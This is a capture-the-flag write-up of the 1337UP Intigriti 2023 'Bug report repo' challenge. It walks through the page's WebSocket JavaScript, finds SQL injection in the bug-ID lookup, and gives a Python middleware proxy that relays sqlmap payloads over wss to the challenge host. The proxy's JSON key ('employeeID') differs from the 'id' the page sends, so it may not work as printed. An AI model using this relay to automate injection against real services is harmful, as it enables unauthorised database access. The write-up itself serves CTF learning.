> For the complete documentation index, see [llms.txt](https://anekant-singhais-organization.gitbook.io/why-so-script-kiddie/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://anekant-singhais-organization.gitbook.io/why-so-script-kiddie/ctfs/1337up-intigriti-2023.md).

# 1337UP intigriti 2023

## Bug report repo

This is the webpage of the challenge where we look at the page dealing in reports:

<figure><img src="/files/qTrPgQpzBSGD72A8nuYO" alt=""><figcaption></figcaption></figure>

we keep on typing the number , we can see that the program responds the name and the status of the report

&#x20;![](/files/ZfWUDO5gpz3Sgf4jistC)

we can also see that no request was made to the back-end for this -> so everything must on the front-end

Though when bug not found says the id not on the display:

![](/files/Yyuip9o479XM2IjVFYSk)

It gives a new report id-> 11 not on display {also from ethical hacker}&#x20;

<figure><img src="/files/95vI696e5AYScvK5q1mm" alt=""><figcaption></figcaption></figure>

I got this code from the page's js file -> They were using websockets .. that's why nothing was on burp

```javascript
$(document).ready(function () {
  open_ws();
  $("#id").on("keyup", function (_event) {
    bug_search();
  });
});

function bug_search() {
  var bug_id = $("#id").val();
  if (bug_id) {
    var msg = JSON.stringify({ id: bug_id });
    ws.send(msg);

    var rows = $("table tbody tr");
    rows.removeClass("highlight").css("color", "");
    rows.each(function () {
      var row = $(this);
      if (row.find("td:first-child").text() == bug_id) {
        row.addClass("highlight").css("color", "black");
      }
    });
  }
}

function open_ws() {
  var HOST = location.origin.replace(/^http/, "ws");
  console.log(HOST)
  window.ws = new WebSocket(HOST + "/ws");

  ws.onopen = function (_event) {
    setInterval(ping, 42000);
  };

  ws.onmessage = function (event) {
    if (event.data == "__pong__") {
      pong();
      return;
    }

    try {
      msg = JSON.parse(event.data);
      $("#res-container").html(msg.message);
    } catch (e) {
      $("#res-container").html(event.data);
    }
  };

  ws.onerror = function (event) {
    try {
      msg = JSON.parse(event.data);
      $("#res-container").text(msg.message);
    } catch (e) {
      $("#res-container").text(event.data);
    }
  };

  ws.onclose = function (_event) {
    console.log("Connection closed!");
  };
}

function ping() {
  ws.send("__ping__");
  tm = setTimeout(function () {}, 4200);
}

function pong() {
  clearTimeout(tm);
}

```

#### explaintation

1. **Document Ready Function:**

   ```javascript
   javascriptCopy code$(document).ready(function () {
     open_ws();
     $("#id").on("keyup", function (_event) {
       bug_search();
     });
   });
   ```

   * This part ensures that the document is fully loaded before executing the provided functions.
   * `open_ws()` is called to open a WebSocket connection.
   * An event listener is attached to the `keyup` event on the HTML element with the ID `id`. When a key is released, the `bug_search()` function is called.
2. **`bug_search()` Function:**

   ```javascript
   javascriptCopy codefunction bug_search() {
     var bug_id = $("#id").val();
     if (bug_id) {
       var msg = JSON.stringify({ id: bug_id });
       ws.send(msg);

       var rows = $("table tbody tr");
       rows.removeClass("highlight").css("color", "");
       rows.each(function () {
         var row = $(this);
         if (row.find("td:first-child").text() == bug_id) {
           row.addClass("highlight").css("color", "black");
         }
       });
     }
   }
   ```

   * Retrieves the value from the HTML element with the ID `id`.
   * If `bug_id` is not empty, it constructs a JSON message (`msg`) and sends it via the WebSocket (`ws.send(msg)`).
   * It then manipulates the style of table rows based on whether they match the bug\_id.
3. **`open_ws()` Function:**

   ```javascript
   javascriptCopy codefunction open_ws() {
     var HOST = location.origin.replace(/^http/, "ws");
     console.log(HOST)
     window.ws = new WebSocket(HOST + "/ws");

     ws.onopen = function (_event) {
       setInterval(ping, 42000);
     };

     ws.onmessage = function (event) {
       // Handle WebSocket messages
     };

     ws.onerror = function (event) {
       // Handle WebSocket errors
     };

     ws.onclose = function (_event) {
       console.log("Connection closed!");
     };
   }
   ```

   * Constructs a WebSocket (`ws`) using the current page's origin with the protocol changed to WebSocket (`ws`).
   * Sets up event handlers for `onopen`, `onmessage`, `onerror`, and `onclose` events.
   * Calls `ping` function at regular intervals (42 seconds).
4. **`ping()` and `pong()` Functions:**

   ```javascript
   javascriptCopy codefunction ping() {
     ws.send("__ping__");
     tm = setTimeout(function () {}, 4200);
   }

   function pong() {
     clearTimeout(tm);
   }
   ```

   * `ping` sends a `__ping__` message through the WebSocket and sets a timeout.
   * `pong` clears the timeout, acting as a response to the ping.

<figure><img src="/files/sDtgqMxRIislQJKCr5m0" alt=""><figcaption></figcaption></figure>

#### exploit begins

what if we use the injection here? -> basic sqli

GUESS WE ARE RIGHT

<figure><img src="/files/m746XmtzluvXj12DWmRH" alt=""><figcaption></figcaption></figure>

we can use sqlmap to automate our finding -> sqlmap over websockets !! yes how to do so:

1. [Article-1](https://2h3ph3rd.medium.com/sqlmap-over-websockets-353cdcd9a7ab) explaining everything.
2. [Article-2](https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html) shared by official writeup -> [here](https://ctftime.org/writeup/38237)

so using article-1 I made sure to understand the code and used it , also the code was made for the in-network server but we needed to connect to remote hosts over websockets so we used **wss** instead of **ws** in the protocol.

we also need to make sure that the negative id are not being transmitted as it's running sqlite3

so to do that we just imply a simple condition the code : if payload.startswith('-'): content="NOT sending due to -ve value"

code:

```python
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "wss://bountyrepo.ctf.intigriti.io/ws"

def send_ws(payload):
    ws = create_connection(ws_server)
    # If the server returns a response on connect, use below line	
    # resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
    # For our case, format the payload in JSON
    message = unquote(payload).replace('"', '\'')  # replacing " with ' to avoid breaking JSON structure
    data = '{"employeeID":"%s"}' % message

    ws.send(data)
    resp = ws.recv()
    ws.close()

    if resp:
        return resp
    else:
        return ''

def middleware_server(host_port, content_type="text/plain"):
    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
            self.send_response(200)
            try:
                payload = urlparse(self.path).query.split('=', 1)[1]
            except IndexError:
                payload = False

            if payload:
                if payload.startswith('-'):
                    content = "Skipped due to negative id as it freezes on negative id"
                else:
                    content = send_ws(payload)
            else:
                content = 'No parameters specified!'

            self.send_header("Content-type", content_type)
            self.end_headers()
            self.wfile.write(content.encode())
            return

    class _TCPServer(TCPServer):
        allow_reuse_address = True

    httpd = _TCPServer(host_port, CustomHandler)
    httpd.serve_forever()

print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
    middleware_server(('0.0.0.0', 8081))
except KeyboardInterrupt:
    pass

```

now this is our middle ware -> we'll send the request to him via sqlmap and this will forward it over websocket:

<figure><img src="/files/PyYwtkvILXUtO8hYXohc" alt=""><figcaption><p>middle ware proxy getting sqlmap payloads</p></figcaption></figure>

<figure><img src="/files/kVWoHFULPf9NjrJuu6cV" alt=""><figcaption></figcaption></figure>
